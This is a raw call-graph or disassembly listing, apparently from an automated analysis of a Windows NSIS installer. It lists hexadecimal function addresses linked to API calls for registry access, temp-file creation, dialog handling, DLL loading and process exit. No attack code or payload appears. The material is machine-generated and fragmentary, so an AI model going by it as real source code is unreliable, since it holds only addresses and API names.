40541d ShowWindow 5215->5219 5216->5207 5220 405462 SendMessageW SendMessageW 5216->5220 5221 4055d9 SendMessageW 5217->5221 5227 404164 SendMessageW 5218->5227 5219->5218 5220->5207 5221->5221 5222 4055f6 OpenClipboard EmptyClipboard GlobalAlloc GlobalLock 5221->5222 5224 40561b SendMessageW 5222->5224 5224->5224 5225 405644 GlobalUnlock SetClipboardData CloseClipboard 5224->5225 5225->5207 5226->5187 5227->5216 5228->5188 5229 402454 5230 402c44 19 API calls 5229->5230 5231 40245e 5230->5231 5232 402b1d 18 API calls 5231->5232 5233 402467 5232->5233 5234 40248b RegEnumValueW 5233->5234 5235 40247f RegEnumKeyW 5233->5235 5237 402793 5233->5237 5236 4024a4 RegCloseKey 5234->5236 5234->5237 5235->5236 5236->5237 5239 401ed4 5240 402b3a 18 API calls 5239->5240 5241 401edb 5240->5241 5242 40622d 2 API calls 5241->5242 5243 401ee1 5242->5243 5245 401ef2 5243->5245 5246 405e31 wsprintfW 5243->5246 5246->5245 5247 4022d5 5248 402305 5247->5248 5249 4022da 5247->5249 5250 402b3a 18 API calls 5248->5250 5251 402c44 19 API calls 5249->5251 5252 40230c 5250->5252 5253 4022e1 5251->5253 5258 402b7a RegOpenKeyExW 5252->5258 5254 402b3a 18 API calls 5253->5254 5257 402322 5253->5257 5255 4022f2 RegDeleteValueW RegCloseKey 5254->5255 5255->5257 5264 402ba5 5258->5264 5267 402bf1 5258->5267 5259 402bcb RegEnumKeyW 5260 402bdd RegCloseKey 5259->5260 5259->5264 5262 406254 3 API calls 5260->5262 5261 402c02 RegCloseKey 5261->5267 5265 402bed 5262->5265 5263 402b7a 3 API calls 5263->5264 5264->5259 5264->5260 5264->5261 5264->5263 5266 402c1d RegDeleteKeyW 5265->5266 5265->5267 5266->5267 5267->5257 4457 403c57 4458 403daa 4457->4458 4459 403c6f 4457->4459 4461 403dfb 4458->4461 4462 403dbb GetDlgItem GetDlgItem 4458->4462 4459->4458 4460 403c7b 4459->4460 4463 403c86 SetWindowPos 4460->4463 4464 403c99 4460->4464 4466 403e55 4461->4466 4471 401389 2 API calls 4461->4471 4465 40412f 19 API calls 4462->4465 4463->4464 4468 403cb6 4464->4468 4469 403c9e ShowWindow 4464->4469 4470 403de5 SetClassLongW 4465->4470 4467 40417b SendMessageW 4466->4467 4488 403da5 4466->4488 4498 403e67 4467->4498 4472 403cd8 4468->4472 4473 403cbe DestroyWindow 4468->4473 4469->4468 4474 40140b 2 API calls 4470->4474 4475 403e2d 4471->4475 4477 403cdd SetWindowLongW 4472->4477 4478 403cee 4472->4478 4476 4040d9 4473->4476 4474->4461 4475->4466 4479 403e31 SendMessageW 4475->4479 4487 4040e9 ShowWindow 4476->4487 4476->4488 4477->4488 4482 403d97 4478->4482 4483 403cfa GetDlgItem 4478->4483 4479->4488 4480 40140b 2 API calls 4480->4498 4481 4040ba DestroyWindow EndDialog 4481->4476 4486 404196 8 API calls 4482->4486 4484 403d2a 4483->4484 4485 403d0d SendMessageW IsWindowEnabled 4483->4485 4490 403d37 4484->4490 4491 403d7e SendMessageW 4484->4491 4492 403d4a 4484->4492 4503 403d2f 4484->4503 4485->4484 4485->4488 4486->4488 4487->4488 4489 405f0c 18 API calls 4489->4498 4490->4491 4490->4503 4491->4482 4495 403d52 4492->4495 4496 403d67 4492->4496 4494 40412f 19 API calls 4494->4498 4500 40140b 2 API calls 4495->4500 4499 40140b 2 API calls 4496->4499 4497 403d65 4497->4482 4498->4480 4498->4481 4498->4488 4498->4489 4498->4494 4502 40412f 19 API calls 4498->4502 4518 403ffa DestroyWindow 4498->4518 4501 403d6e 4499->4501 4500->4503 4501->4482 4501->4503 4504 403ee2 GetDlgItem 4502->4504 4531 404108 4503->4531 4505 403ef7 4504->4505 4506 403eff ShowWindow KiUserCallbackDispatcher 4504->4506 4505->4506 4528 404151 EnableWindow 4506->4528 4508 403f29 EnableWindow 4511 403f3d 4508->4511 4509 403f42 GetSystemMenu EnableMenuItem SendMessageW 4510 403f72 SendMessageW 4509->4510 4509->4511 4510->4511 4511->4509 4529 404164 SendMessageW 4511->4529 4530 405eea lstrcpynW 4511->4530 4514 403fa0 lstrlenW 4515 405f0c 18 API calls 4514->4515 4516 403fb6 SetWindowTextW 4515->4516 4517 401389 2 API calls 4516->4517 4517->4498 4518->4476 4519 404014 CreateDialogParamW 4518->4519 4519->4476 4520 404047 4519->4520 4521 40412f 19 API calls 4520->4521 4522 404052 GetDlgItem GetWindowRect ScreenToClient SetWindowPos 4521->4522 4523 401389 2 API calls 4522->4523 4524 404098 4523->4524 4524->4488 4525 4040a0 ShowWindow 4524->4525 4526 40417b SendMessageW 4525->4526 4527 4040b8 4526->4527 4527->4476 4528->4508 4529->4511 4530->4514 4532 404115 SendMessageW 4531->4532 4533 40410f 4531->4533 4532->4497 4533->4532 5268 4014d7 5269 402b1d 18 API calls 5268->5269 5270 4014dd Sleep 5269->5270 5272 4029c7 5270->5272 4760 40335a #17 SetErrorMode OleInitialize 4761 406254 3 API calls 4760->4761 4762 40339d SHGetFileInfoW 4761->4762 4833 405eea lstrcpynW 4762->4833 4764 4033c8 GetCommandLineW 4834 405eea lstrcpynW 4764->4834 4766 4033da GetModuleHandleW 4767 4033f2 4766->4767 4768 405962 CharNextW 4767->4768 4769 403401 CharNextW 4768->4769 4777 403411 4769->4777 4770 4034e6 4771 4034fa GetTempPathW 4770->4771 4835 403326 4771->4835 4773 403512 4774 403516 GetWindowsDirectoryW lstrcatW 4773->4774 4775 40356c DeleteFileW 4773->4775 4778 403326 11 API calls 4774->4778 4843 402dbc GetTickCount GetModuleFileNameW 4775->4843 4776 405962 CharNextW 4776->4777 4777->4770 4777->4776 4783 4034e8 4777->4783 4780 403532 4778->4780 4780->4775 4782 403536 GetTempPathW lstrcatW SetEnvironmentVariableW SetEnvironmentVariableW 4780->4782 4781 403580 4784 403618 4781->4784 4787 403608 4781->4787 4791 405962 CharNextW 4781->4791 4786 403326 11 API calls 4782->4786 4927 405eea lstrcpynW 4783->4927 4930 4037c2 4784->4930 4790 403564 4786->4790 4873 4038b4 4787->4873 4790->4775 4790->4784 4795 40359b 4791->4795 4793 403631 4796 4056c6 MessageBoxIndirectW 4793->4796 4794 403727 4797 4037aa ExitProcess 4794->4797 4802 406254 3 API calls 4794->4802 4800 4035e2 4795->4800 4801 403647 lstrcatW lstrcmpiW 4795->4801 4799 40363f ExitProcess 4796->4799 4803 405a3d 18 API calls 4800->4803 4801->4784 4804 403663 CreateDirectoryW SetCurrentDirectoryW 4801->4804 4805 403736 4802->4805 4807 4035ee 4803->4807 4808 403686 4804->4808 4809 40367b 4804->4809 4806 406254 3 API calls 4805->4806 4810 40373f 4806->4810 4807->4784 4928 405eea lstrcpynW 4807->4928 4940 405eea lstrcpynW 4808->4940 4939 405eea lstrcpynW 4809->4939 4813 406254 3 API calls 4810->4813 4815 403748 4813->4815 4817 403796 ExitWindowsEx 4815->4817 4822 403756 GetCurrentProcess 4815->4822 4816 4035fd 4929 405eea lstrcpynW 4816->4929 4817->4797 4820 4037a3 4817->4820 4819 405f0c 18 API calls 4821 4036c5 DeleteFileW 4819->4821 4823 40140b 2 API calls 4820->4823 4824 4036d2 CopyFileW 4821->4824 4830 403694 4821->4830 4827 403766 4822->4827 4823->4797 4824->4830 4825 40371b 4828 405d84 40 API calls 4825->4828 4826 405d84 40 API calls 4826->4830 4827->4817 4828->4784 4829 405f0c 18 API calls 4829->4830 4830->4819 4830->4825 4830->4826 4830->4829 4831 405665 2 API calls 4830->4831 4832 403706 CloseHandle 4830->4832 4831->4830 4832->4830 4833->4764 4834->4766 4836 40617e 5 API calls 4835->4836 4838 403332 4836->4838 4837 40333c 4837->4773 4838->4837 4839 405935 3 API calls 4838->4839 4840 403344 CreateDirectoryW 4839->4840 4941 405b85 4840->4941 4945 405b56 GetFileAttributesW CreateFileW 4843->4945 4845 402dff 4872 402e0c 4845->4872 4946 405eea lstrcpynW 4845->4946 4847 402e22 4848 405981 2 API calls 4847->4848 4849 402e28 4848->4849 4947 405eea lstrcpynW 4849->4947 4851 402e33 GetFileSize 4852 402f34 4851->4852 4870 402e4a 4851->4870 4853 402d1a 33 API calls 4852->4853 4855 402f3b 4853->4855 4854 4032f9 ReadFile 4854->4870 4857 402f77 GlobalAlloc 4855->4857 4855->4872 4949 40330f SetFilePointer 4855->4949 4856 402fcf 4859 402d1a 33 API calls 4856->4859 4858 402f8e 4857->4858 4863 405b85 2 API calls 4858->4863 4859->4872 4861 402f58 4864 4032f9 ReadFile 4861->4864 4862 402d1a 33 API calls 4862->4870 4866 402f9f CreateFileW 4863->4866 4865 402f63 4864->4865 4865->4857 4865->4872 4867 402fd9 4866->4867 4866->4872 4948 40330f SetFilePointer 4867->4948 4869 402fe7 4871 403062 46 API calls 4869->4871 4870->4852 4870->4854 4870->4856 4870->4862 4870->4872 4871->4872 4872->4781 4874 406254 3 API calls 4873->4874 4875 4038c8 4874->4875 4876 4038e0 4875->4876 4877 4038ce 4875->4877 4878 405db7 3 API calls 4876->4878 4959 405e31 wsprintfW 4877->4959 4879 403910 4878->4879 4881 40392f lstrcatW 4879->4881 4883 405db7 3 API calls 4879->4883 4882 4038de 4881->4882 4950 403b8a 4882->4950 4883->4881 4886 405a3d 18 API calls 4887 403961 4886->4887 4888 4039f5 4887->4888 4891 405db7 3 API calls 4887->4891 4889 405a3d 18 API calls 4888->4889 4890 4039fb 4889->4890 4893 403a0b LoadImageW 4890->4893 4894 405f0c 18 API calls 4890->4894 4892 403993 4891->4892 4892->4888 4897 4039b4 lstrlenW 4892->4897 4901 405962 CharNextW 4892->4901 4895 403ab1 4893->4895 4896 403a32 RegisterClassW 4893->4896 4894->4893 4900 40140b 2 API calls 4895->4900 4898 403abb 4896->4898 4899 403a68 SystemParametersInfoW CreateWindowExW 4896->4899 4902 4039c2 lstrcmpiW 4897->4902 4903 4039e8 4897->4903 4898->4784 4899->4895 4904 403ab7 4900->4904 4905 4039b1 4901->4905 4902->4903 4906 4039d2 GetFileAttributesW 4902->4906 4907 405935 3 API calls 4903->4907 4904->4898 4909 403b8a 19 API calls 4904->4909 4905->4897 4908 4039de 4906->4908 4910 4039ee 4907->4910 4908->4903 4911 405981 2 API calls 4908->4911 4912 403ac8 4909->4912 4960 405eea lstrcpynW 4910->4960 4911->4903 4914 403ad4 ShowWindow LoadLibraryW 4912->4914 4915 403b57 4912->4915 4917 403af3 LoadLibraryW 4914->4917 4918 403afa GetClassInfoW 4914->4918 4961 405267 OleInitialize 4915->4961 4917->4918 4919 403b24 DialogBoxParamW 4918->4919 4920 403b0e GetClassInfoW RegisterClassW 4918->4920 4922 40140b 2 API calls 4919->4922 4920->4919 4921 403b5d 4923 403b61 4921->4923 4924 403b79 4921->4924 4922->4898 4923->4898 4926 40140b 2 API calls 4923->4926 4925 40140b 2 API calls 4924->4925 4925->4898 4926->4898 4927->4771 4928->4816 4929->4787 4931 4037d3 CloseHandle 4930->4931 4932 4037dd 4930->4932 4931->4932 4933 4037f1 4932->4933 4934 4037e7 CloseHandle 4932->4934 4969 40381f 4933->4969 4934->4933 4937 405772 71 API calls 4938 403621 OleUninitialize 4937->4938 4938->4793 4938->4794 4939->4808 4940->4830 4942 405b92 GetTickCount GetTempFileNameW 4941->4942 4943 403358 4942->4943 4944 405bc8 4942->4944 4943->4773 4944->4942 4944->4943 4945->4845 4946->4847 4947->4851 4948->4869 4949->4861 4951 403b9e 4950->4951 4968 405e31 wsprintfW 4951->4968 4953 403c0f 4954 405f0c 18 API calls 4953->4954 4955 403c1b SetWindowTextW 4954->4955 4956 40393f 4955->4956 4957 403c37 4955->4957 4956->4886 4957->4956 4958 405f0c 18 API calls 4957->4958 4958->4957 4959->4882 4960->4888 4962 40417b SendMessageW 4961->4962 4963 40528a 4962->4963 4966 401389 2 API calls 4963->4966 4967 4052b1 4963->4967 4964 40417b SendMessageW 4965 4052c3 OleUninitialize 4964->4965 4965->4921 4966->4963 4967->4964 4968->4953 4970 40382d 4969->4970 4971 4037f6 4970->4971 4972 403832 FreeLibrary GlobalFree 4970->4972 4971->4937 4972->4971 4972->4972 5273 40155b 5274 40296d 5273->5274 5277 405e31 wsprintfW 5274->5277 5276 402972 5277->5276 3904 4023e0 3915 402c44 3904->3915 3906 4023ea 3919 402b3a 3906->3919 3909 4023fe RegQueryValueExW 3910 402424 RegCloseKey 3909->3910 3911 40241e 3909->3911 3914 402793 3910->3914 3911->3910 3925 405e31 wsprintfW 3911->3925 3916 402b3a 18 API calls 3915->3916 3917 402c5d 3916->3917 3918 402c6b RegOpenKeyExW 3917->3918 3918->3906 3920 402b46 3919->3920 3926 405f0c 3920->3926 3923 4023f3 3923->3909 3923->3914 3925->3910 3927 405f19 3926->3927 3928 406164 3927->3928 3931 405fcc GetVersion 3927->3931 3932 406132 lstrlenW 3927->3932 3934 405f0c 10 API calls 3927->3934 3937 406047 GetSystemDirectoryW 3927->3937 3938 40605a GetWindowsDirectoryW 3927->3938 3939 40617e 5 API calls 3927->3939 3940 405f0c 10 API calls 3927->3940 3941 4060d3 lstrcatW 3927->3941 3942 40608e SHGetSpecialFolderLocation 3927->3942 3953 405db7 RegOpenKeyExW 3927->3953 3958 405e31 wsprintfW 3927->3958 3959 405eea lstrcpynW 3927->3959 3929 402b67 3928->3929 3960 405eea lstrcpynW 3928->3960 3929->3923 3944 40617e 3929->3944 3931->3927 3932->3927 3934->3932 3937->3927 3938->3927 3939->3927 3940->3927 3941->3927 3942->3927 3943 4060a6 SHGetPathFromIDListW CoTaskMemFree 3942->3943 3943->3927 3946 40618b 3944->3946 3945 406201 3947 406206 CharPrevW 3945->3947 3949 406227 3945->3949 3946->3945 3948 4061f4 CharNextW 3946->3948 3951 4061e0 CharNextW 3946->3951 3952 4061ef CharNextW 3946->3952 3961 405962 3946->3961 3947->3945 3948->3945 3948->3946 3949->3923 3951->3946 3952->3948 3954 405e2b 3953->3954 3955 405deb RegQueryValueExW 3953->3955 3954->3927 3956 405e0c RegCloseKey 3955->3956 3956->3954 3958->3927 3959->3927 3960->3929 3962 405968 3961->3962 3963 40597e 3962->3963 3964 40596f CharNextW 3962->3964 3963->3946 3964->3962 5285 401ce5 GetDlgItem GetClientRect 5286 402b3a 18 API calls 5285->5286 5287 401d17 LoadImageW SendMessageW 5286->5287 5288 401d35 DeleteObject 5287->5288 5289 4029c7 5287->5289 5288->5289 4187 40206a 4188 402b3a 18 API calls 4187->4188 4189 402071 4188->4189 4190 402b3a 18 API calls 4189->4190 4191 40207b 4190->4191 4192 402b3a 18 API calls 4191->4192 4193 402084 4192->4193 4194 402b3a 18 API calls 4193->4194 4195 40208e 4194->4195 4196 402b3a 18 API calls 4195->4196 4197 402098 4196->4197 4198 4020ac CoCreateInstance 4197->4198 4199 402b3a 18 API calls 4197->4199 4202 4020cb 4198->4202 4199->4198 4201 402197 4202->4201 4203 401423 4202->4203 4204 405194 25 API calls 4203->4204 4205 401431 4204->4205 4205->4201 5290 40156b 5291 401584 5290->5291 5292 40157b ShowWindow 5290->5292 5293 401592 ShowWindow 5291->5293 5294 4029c7 5291->5294 5292->5291 5293->5294 5295 4024ee 5296 4024f3 5295->5296 5297 40250c 5295->5297 5298 402b1d 18 API calls 5296->5298 5299 402512 5297->5299 5300 40253e 5297->5300 5303 4024fa 5298->5303 5301 402b3a 18 API calls 5299->5301 5302 402b3a 18 API calls 5300->5302 5304 402519 WideCharToMultiByte lstrlenA 5301->5304 5305 402545 lstrlenW 5302->5305 5306 402567 WriteFile 5303->5306 5307 402793 5303->5307 5304->5303 5305->5303 5306->5307 5308 4018ef 5309 401926 5308->5309 5310 402b3a 18 API calls 5309->5310 5311 40192b 5310->5311 5312 405772 71 API calls 5311->5312 5313 401934 5312->5313 5314 402770 5315 402b3a 18 API calls 5314->5315 5316 402777 FindFirstFileW 5315->5316 5317 40278a 5316->5317 5318 40279f 5316->5318 5319 4027a8 5318->5319 5322 405e31 wsprintfW 5318->5322 5323 405eea lstrcpynW 5319->5323 5322->5319 5323->5317 5324 4014f1 SetForegroundWindow 5325 4029c7 5324->5325 5326 403872 5327 40387d 5326->5327 5328 403881 5327->5328 5329 403884 GlobalAlloc 5327->5329 5329->5328 5330 4018f2 5331 402b3a 18 API calls 5330->5331 5332 4018f9 5331->5332 5333 4056c6 MessageBoxIndirectW 5332->5333 5334 401902 5333->5334 4444 402573 4445 402b1d 18 API calls 4444->4445 4447 402582 4445->4447 4446 4026a0 4447->4446 4448 4025c8 ReadFile 4447->4448 4449 405bd9 ReadFile 4447->4449 4450 4026a2 4447->4450 4451 402608 MultiByteToWideChar 4447->4451 4453 4026b3 4447->4453 4454 40262e SetFilePointer MultiByteToWideChar 4447->4454 4448->4446 4448->4447 4449->4447 4456 405e31 wsprintfW 4450->4456 4451->4447 4453->4446 4455 4026d4 SetFilePointer 4453->4455 4454->4447 4455->4446 4456->4446 5335 401df3 5336 402b3a 18 API calls 5335->5336 5337 401df9 5336->5337 5338 402b3a 18 API calls 5337->5338 5339 401e02 5338->5339 5340 402b3a 18 API calls 5339->5340 5341 401e0b 5340->5341 5342 402b3a 18 API calls 5341->5342 5343 401e14 5342->5343 5344 401423 25 API calls 5343->5344 5345 401e1b ShellExecuteW 5344->5345 5346 401e4c 5345->5346 4732 4026f9 4733 402700 4732->4733 4736 402972 4732->4736 4734 402b1d 18 API calls 4733->4734 4735 40270b 4734->4735 4737 402712 SetFilePointer 4735->4737 4737->4736 4738 402722 4737->4738 4740 405e31 wsprintfW 4738->4740 4740->4736 5373 40427d lstrlenW 5374 40429c 5373->5374 5375 40429e WideCharToMultiByte 5373->5375 5374->5375 5376 1000103d 5377 1000101b 8 API calls 5376->5377 5378 10001056 5377->5378 5379 402c7f 5380 402c91 SetTimer 5379->5380 5381 402caa 5379->5381 5380->5381 5382 402cf8 5381->5382 5383 402cfe MulDiv 5381->5383 5384 402cb8 wsprintfW SetWindowTextW SetDlgItemTextW 5383->5384 5384->5382 5386 4014ff 5387 401507 5386->5387 5389 40151a 5386->5389 5388 402b1d 18 API calls 5387->5388 5388->5389 5390 401000 5391 401037 BeginPaint GetClientRect 5390->5391 5394 40100c DefWindowProcW 5390->5394 5392 4010f3 5391->5392 5396 401073 CreateBrushIndirect FillRect DeleteObject 5392->5396 5397 4010fc 5392->5397 5395 401179 5394->5395 5396->5392 5398 401102 CreateFontIndirectW 5397->5398 5399 401167 EndPaint 5397->5399 5398->5399 5400 401112 6 API calls 5398->5400 5399->5395 5400->5399 5401 401a00 5402 402b3a 18 API calls 5401->5402 5403 401a09 ExpandEnvironmentStringsW 5402->5403 5404 401a30 5403->5404 5405 401a1d 5403->5405 5405->5404 5406 401a22 lstrcmpW 5405->5406 5406->5404 5407 401b01 5408 402b3a 18 API calls 5407->5408 5409 401b08 5408->5409 5410 402b1d 18 API calls 5409->5410 5411 401b11 wsprintfW 5410->5411 5412 4029c7 5411->5412 5413 100018c1 5414 10001243 3 API calls 5413->5414 5415 100018e7 5414->5415 5416 10001243 3 API calls 5415->5416 5417 100018ef 5416->5417 5418 10001243 3 API calls 5417->5418 5420 10001931 __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z __allrem 5417->5420 5419 10001916 5418->5419 5421 1000191f GlobalFree 5419->5421 5422 10001280 2 API calls 5420->5422 5421->5420 5423 10001aad GlobalFree GlobalFree 5422->5423 5424 10002a43 5425 10002a5b 5424->5425 5426 100015a7 2 API calls 5425->5426 5427 10002a76 5426->5427 5428 404583 5429 404593 5428->5429 5430 4045b9 5428->5430 5431 40412f 19 API calls 5429->5431 5432 404196 8 API calls 5430->5432 5433 4045a0 SetDlgItemTextW 5431->5433 5434 4045c5 5432->5434 5433->5430 4146 405108 4147 405118 4146->4147 4148 40512c 4146->4148 4150 405175 4147->4150 4151 40511e 4147->4151 4149 405134 IsWindowVisible 4148->4149 4154 405154 4148->4154 4149->4150 4153 405141 4149->4153 4155 40517a CallWindowProcW 4150->4155 4160 40417b 4151->4160 4163 404a5e SendMessageW 4153->4163 4154->4155 4168 404ade 4154->4168 4156 405128 4155->4156 4161 404193 4160->4161 4162 404184 SendMessageW 4160->4162 4161->4156 4162->4161 4164 404a81 GetMessagePos ScreenToClient SendMessageW 4163->4164 4165 404abd SendMessageW 4163->4165 4166 404ab5 4164->4166 4167 404aba 4164->4167 4165->4166 4166->4154 4167->4165 4177 405eea lstrcpynW 4168->4177 4170 404af1 4178 405e31 wsprintfW 4170->4178 4172 404afb 4179 40140b 4172->4179 4176 404b0b 4176->4150 4177->4170 4178->4172 4183 401389 4179->4183 4182 405eea lstrcpynW 4182->4176 4185 401390 4183->4185 4184 4013fe 4184->4182 4185->4184 4186 4013cb MulDiv SendMessageW 4185->4186 4186->4185 5435 401f08 5436 402b3a 18 API calls 5435->5436 5437 401f0f GetFileVersionInfoSizeW 5436->5437 5438 401f36 GlobalAlloc 5437->5438 5439 401f8c 5437->5439 5438->5439 5440 401f4a GetFileVersionInfoW 5438->5440 5440->5439 5441 401f59 VerQueryValueW 5440->5441 5441->5439 5442 401f72 5441->5442 5446 405e31 wsprintfW 5442->5446 5444 401f7e 5447 405e31 wsprintfW 5444->5447 5446->5444 5447->5439 5455 1000224c 5456 100022b1 5455->5456 5457 100022e7 5455->5457 5456->5457 5458 100022c3 GlobalAlloc 5456->5458 5458->5456 5459 100016ce 5460 100016fd 5459->5460 5461 10001b3e 24 API calls 5460->5461 5462 10001704 5461->5462 5463 10001717 5462->5463 5464 1000170b 5462->5464 5466 10001721 5463->5466 5467 1000173e 5463->5467 5465 10001280 2 API calls 5464->5465 5470 10001715 5465->5470 5471 10001555 3 API calls 5466->5471 5468 10001744 5467->5468 5469 10001768 5467->5469 5472 100015cc 3 API calls 5468->5472 5473 10001555 3 API calls 5469->5473 5474 10001726 5471->5474 5475 10001749 5472->5475 5473->5470 5476 100015cc 3 API calls 5474->5476 5478 10001280 2 API calls 5475->5478 5477 1000172c 5476->5477 5479 10001280 2 API calls 5477->5479 5480 1000174f GlobalFree 5478->5480 5481 10001732 GlobalFree 5479->5481 5480->5470 5482 10001763 GlobalFree 5480->5482 5481->5470 5482->5470 4209 404b10 GetDlgItem GetDlgItem 4210 404b62 7 API calls 4209->4210 4218 404d7b 4209->4218 4211 404c05 DeleteObject 4210->4211 4212 404bf8 SendMessageW 4210->4212 4213 404c0e 4211->4213 4212->4211 4214 404c1d 4213->4214 4215 404c45 4213->4215 4216 405f0c 18 API calls 4214->4216 4265 40412f 4215->4265 4223 404c27 SendMessageW SendMessageW 4216->4223 4217 404e40 4222 404e5f 4217->4222 4229 404e51 SendMessageW 4217->4229 4218->4217 4218->4222 4225 404ddb 4218->4225 4220 404f0b 4224 404f15 SendMessageW 4220->4224 4230 404f1d 4220->4230 4221 4050f3 4278 404196 4221->4278 4222->4220 4222->4221 4227 404eb8 SendMessageW 4222->4227 4223->4213 4224->4230 4231 404a5e 5 API calls 4225->4231 4226 404c59 4232 40412f 19 API calls 4226->4232 4227->4221 4234 404ecd SendMessageW 4227->4234 4229->4222 4236 404f36 4230->4236 4237 404f2f ImageList_Destroy 4230->4237 4241 404f46 4230->4241 4244 404dec 4231->4244 4245 404c67 4232->4245 4233 4050b5 4233->4221 4242 4050c7 ShowWindow GetDlgItem ShowWindow 4233->4242 4239 404ee0 4234->4239 4240 404f3f GlobalFree 4236->4240 4236->4241 4237->4236 4238 404d3c GetWindowLongW SetWindowLongW 4243 404d55 4238->4243 4249 404ef1 SendMessageW 4239->4249 4240->4241 4241->4233 4255 404ade 4 API calls 4241->4255 4259 404f81 4241->4259 4242->4221 4246 404d73 4243->4246 4247 404d5b ShowWindow 4243->4247 4244->4217 4245->4238 4248 404cb7 SendMessageW 4245->4248 4250 404d36 4245->4250 4253 404cf3 SendMessageW 4245->4253 4254 404d04 SendMessageW 4245->4254 4269 404164 SendMessageW 4246->4269 4268 404164 SendMessageW 4247->4268 4248->4245 4249->4220 4250->4238 4250->4243 4253->4245 4254->4245 4255->4259 4256 404d6e 4256->4221 4257 40508b InvalidateRect 4257->4233 4258 4050a1 4257->4258 4270 404978 4258->4270 4260 404faf SendMessageW 4259->4260 4261 404fc5 4259->4261 4260->4261 4261->4257 4263 405026 4261->4263 4264 405039 SendMessageW SendMessageW 4261->4264 4263->4264 4264->4261 4266 405f0c 18 API calls 4265->4266 4267 40413a SetDlgItemTextW 4266->4267 4267->4226 4268->4256 4269->4218 4271 404995 4270->4271 4272 405f0c 18 API calls 4271->4272 4273 4049ca 4272->4273 4274 405f0c 18 API calls 4273->4274 4275 4049d5 4274->4275 4276 405f0c 18 API calls 4275->4276 4277 404a06 lstrlenW wsprintfW SetDlgItemTextW 4276->4277 4277->4233 4279 4041ae GetWindowLongW 4278->4279 4280 404237 4278->4280 4279->4280 4281 4041bf 4279->4281 4282 4041d1 4281->4282 4283 4041ce GetSysColor 4281->4283 4284 4041e1 SetBkMode 4282->4284 4285 4041d7 SetTextColor 4282->4285 4283->4282 4286 4041f9 GetSysColor 4284->4286 4287 4041ff 4284->4287 4285->4284 4286->4287 4288 404210 4287->4288 4289 404206 SetBkColor 4287->4289 4288->4280 4290 404223 DeleteObject 4288->4290 4291 40422a CreateBrushIndirect 4288->4291 4289->4288 4290->4291 4291->4280 5483 401491 5484 405194 25 API calls 5483->5484 5485 401498 5484->5485 5486 404912 5487 404922 5486->5487 5488 40493e 5486->5488 5497 4056aa GetDlgItemTextW 5487->5497 5490 404971 5488->5490 5491 404944 SHGetPathFromIDListW 5488->5491 5493 40495b SendMessageW 5491->5493 5494 404954 5491->5494 5492 40492f SendMessageW 5492->5488 5493->5490 5495 40140b 2 API calls 5494->5495 5495->5493 5497->5492 5498 402295 5499 402b3a 18 API calls 5498->5499 5500 4022a4 5499->5500 5501 402b3a 18 API calls 5500->5501 5502 4022ad 5501->5502 5503 402b3a 18 API calls 5502->5503 5504 4022b7 GetPrivateProfileStringW 5503->5504 4534 401718 4535 402b3a 18 API calls 4534->4535 4536 40171f SearchPathW 4535->4536 4537 40173a 4536->4537 4538 401f98 4539 40205c 4538->4539 4540 401faa 4538->4540 4543 401423 25 API calls 4539->4543 4541 402b3a 18 API calls 4540->4541 4542 401fb1 4541->4542 4544 402b3a 18 API calls 4542->4544 4548 402197 4543->4548 4545 401fba 4544->4545 4546 401fd0 LoadLibraryExW 4545->4546 4547 401fc2 GetModuleHandleW 4545->4547 4546->4539 4549 401fe1 4546->4549 4547->4546 4547->4549 4561 4062c0 WideCharToMultiByte 4549->4561 4552 401ff2 4555 402011 4552->4555 4556 401ffa 4552->4556 4553 40202b 4554 405194 25 API calls 4553->4554 4558 402002 4554->4558 4564 10001771 4555->4564 4557 401423 25 API calls 4556->4557 4557->4558 4558->4548 4559 40204e FreeLibrary 4558->4559 4559->4548 4562 4062ea GetProcAddress 4561->4562 4563 401fec 4561->4563 4562->4563 4563->4552 4563->4553 4565 100017a1 4564->4565 4606 10001b3e 4565->4606 4567 100017a8 4568 100018be 4567->4568 4569 100017c0 4567->4569 4570 100017b9 4567->4570 4568->4558 4640 100022eb 4569->4640 4658 100022a1 4570->4658 4575 10001824 4580 10001866 4575->4580 4581 1000182a 4575->4581 4576 10001806 4671 1000248d 4576->4671 4577 100017d6 4585 100017e7 4577->4585 4586 100017dc 4577->4586 4578 100017ef 4590 100017e5 4578->4590 4668 10002b23 4578->4668 4583 1000248d 10 API calls 4580->4583 4588 100015cc 3 API calls 4581->4588 4591 10001858 4583->4591 4662 1000260b 4585->4662 4586->4590 4652 10002868 4586->4652 4589 10001840 4588->4589 4594 1000248d 10 API calls 4589->4594 4590->4575 4590->4576 4597 100018ad 4591->4597 4694 10002450 4591->4694 4594->4591 4596 100017ed 4596->4590 4597->4568 4599 100018b7 GlobalFree 4597->4599 4599->4568 4603 10001899 4603->4597 4698 10001555 wsprintfW 4603->4698 4604 10001892 FreeLibrary 4604->4603 4701 1000121b GlobalAlloc 4606->4701 4608 10001b62 4702 1000121b GlobalAlloc 4608->4702 4610 10001b6d 4703 10001243 4610->4703 4612 10001da0 GlobalFree GlobalFree GlobalFree 4613 10001dbd 4612->4613 4627 10001e07 4612->4627 4614 1000210d 4613->4614 4621 10001dd2 4613->4621 4613->4627 4616 1000212f GetModuleHandleW 4614->4616 4614->4627 4615 10001c43 GlobalAlloc 4634 10001b75 4615->4634 4619 10002140 LoadLibraryW 4616->4619 4620 10002155 4616->4620 4617 10001c8e lstrcpyW 4622 10001c98 lstrcpyW 4617->4622 4618 10001cac GlobalFree 4618->4634 4619->4620 4619->4627 4714 10001617 WideCharToMultiByte GlobalAlloc WideCharToMultiByte GetProcAddress GlobalFree 4620->4714 4621->4627 4710 1000122c 4621->4710 4622->4634 4624 100021a7 4625 100021b4 lstrlenW 4624->4625 4624->4627 4715 10001617 WideCharToMultiByte GlobalAlloc WideCharToMultiByte GetProcAddress GlobalFree 4625->4715 4627->4567 4628 10002167 4628->4624 4639 10002191 GetProcAddress 4628->4639 4630 10002067 4630->4627 4635 100020af lstrcpyW 4630->4635 4632 10001f56 GlobalFree 4632->4634 4633 100021ce 4633->4627 4634->4612 4634->4615 4634->4617 4634->4618 4634->4622 4634->4627 4634->4630 4634->4632 4636 10001cea 4634->4636 4638 1000122c 2 API calls 4634->4638 4713 1000121b GlobalAlloc 4634->4713 4635->4627 4636->4634 4708 100015a7 GlobalSize GlobalAlloc 4636->4708 4638->4634 4639->4624 4647 10002303 4640->4647 4641 1000122c GlobalAlloc lstrcpynW 4641->4647 4642 10001243 3 API calls 4642->4647 4644 10002419 GlobalFree 4645 100017c6 4644->4645 4644->4647 4645->4577 4645->4578 4645->4590 4646 100023d5 GlobalAlloc WideCharToMultiByte 4646->4644 4647->4641 4647->4642 4647->4644 